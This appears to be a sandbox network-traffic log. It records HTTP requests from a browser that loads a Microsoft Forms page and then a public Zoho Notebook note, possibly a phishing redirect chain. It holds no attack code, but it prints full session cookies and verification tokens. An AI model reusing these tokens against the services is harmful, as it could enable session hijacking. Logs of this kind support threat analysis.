Source: global traffic	HTTP traffic detected: GET /sw.js?ring=Business HTTP/1.1Host: forms.office.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /cdn/images/microsoft365logo_v1.png HTTP/1.1Host: forms.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1
Source: global traffic	HTTP traffic detected: GET /c.gif HTTP/1.1Host: c.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.office.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /offline.aspx HTTP/1.1Host: forms.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://forms.office.com/sw.js?ring=BusinessAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1; MUID=38A4EA9411BD6D8826F0FF4215BD6601
Source: global traffic	HTTP traffic detected: GET /c.gif?ctsa=mr&CtsSyncId=3D9B1A8382CC4D91882D138B2E2F52E3&MUID=38A4EA9411BD6D8826F0FF4215BD6601 HTTP/1.1Host: c.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.office.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: SM=T; MUID=38A4EA9411BD6D8826F0FF4215BD6601
Source: global traffic	HTTP traffic detected: GET /muid.gif?muid=38A4EA9411BD6D8826F0FF4215BD6601 HTTP/1.1Host: forms.cloud.microsoftConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://forms.office.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c.gif?ctsa=mr&CtsSyncId=3D9B1A8382CC4D91882D138B2E2F52E3&MUID=38A4EA9411BD6D8826F0FF4215BD6601 HTTP/1.1Host: c.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MUID=38A4EA9411BD6D8826F0FF4215BD6601; SM=C; MR=0; ANONCHK=0
Source: global traffic	HTTP traffic detected: GET /pwa/en-us/app.webmanifest HTTP/1.1Host: forms.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn/images/favicon.ico HTTP/1.1Host: forms.office.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1; MUID=38A4EA9411BD6D8826F0FF4215BD6601
Source: global traffic	HTTP traffic detected: GET /images/pwa/forms-pwa-logo-192.png HTTP/1.1Host: cdn.forms.office.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://forms.office.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /muid.gif?muid=38A4EA9411BD6D8826F0FF4215BD6601 HTTP/1.1Host: forms.cloud.microsoftConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MUID=38A4EA9411BD6D8826F0FF4215BD6601
Source: global traffic	HTTP traffic detected: GET /cdn/images/favicon.ico HTTP/1.1Host: forms.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FormsWebSessionId=0a10e7b3-03e6-4054-a523-0a3a29eb67b1; __RequestVerificationToken=J22q6rlySxaCYUaIFwJ5Vf1fykNp2_UcWi6qvQTPacMyaYXiMcxmC3Z14tbfCybjk_cZeeh4_1mr0huRO2NwOnxYUk5B_PWbFjKZyNaS9Xs1; MUID=38A4EA9411BD6D8826F0FF4215BD6601
Source: global traffic	HTTP traffic detected: GET /images/pwa/forms-pwa-logo-192.png HTTP/1.1Host: cdn.forms.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8b HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://forms.office.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /public/bower_components/lyte/custom-elements-es5-adapter.js HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/bower_components/lyte/polyfill-bundle.js HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/bower_components/lyte/lyte-es5.min.js HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/vendor/jquery/jquery-2.0.3.min.js HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/vendor/waveSurfer/wavesurfer.min.js HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/consolidated_files/initial_load.js HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/notes/index.css HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/vendor/bootstrap/css/bootstrap.min.css HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/consolidated_files/css/initial_load_css.css HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b/details HTTP/1.1Host: notebook.zohopublic.comConnection: keep-aliveX-ZCSRF-TOKEN: znbrcsr=2e843c66-67da-4982-9023-cf379347c484sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36dataType: xmlsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/consolidated_files/public_notecard.js HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b/details HTTP/1.1Host: notebook.zohopublic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b HTTP/1.1Host: notebook.zohopublic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b/resources/4tlqcdd304f1c054a40ac8cfdadaec0e2604b HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/icon-assets/notebook-icon.png HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://notebook.zohopublic.com/public/consolidated_files/css/initial_load_css.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/icon-assets/public-icn-refresh.png HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
Source: global traffic	HTTP traffic detected: GET /public/icon-assets/icn-flag-abuse.png HTTP/1.1Host: notebook.zohopublic.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: zalb_68ff1bd267=9deb40e14088d8a543d2e5d0e04edd6c; znbcsr=2e843c66-67da-4982-9023-cf379347c484; _zcsr_tmp=2e843c66-67da-4982-9023-cf379347c484; JSESSIONID=4E089F0F2CE1EBBA54FF4AA079BA4853
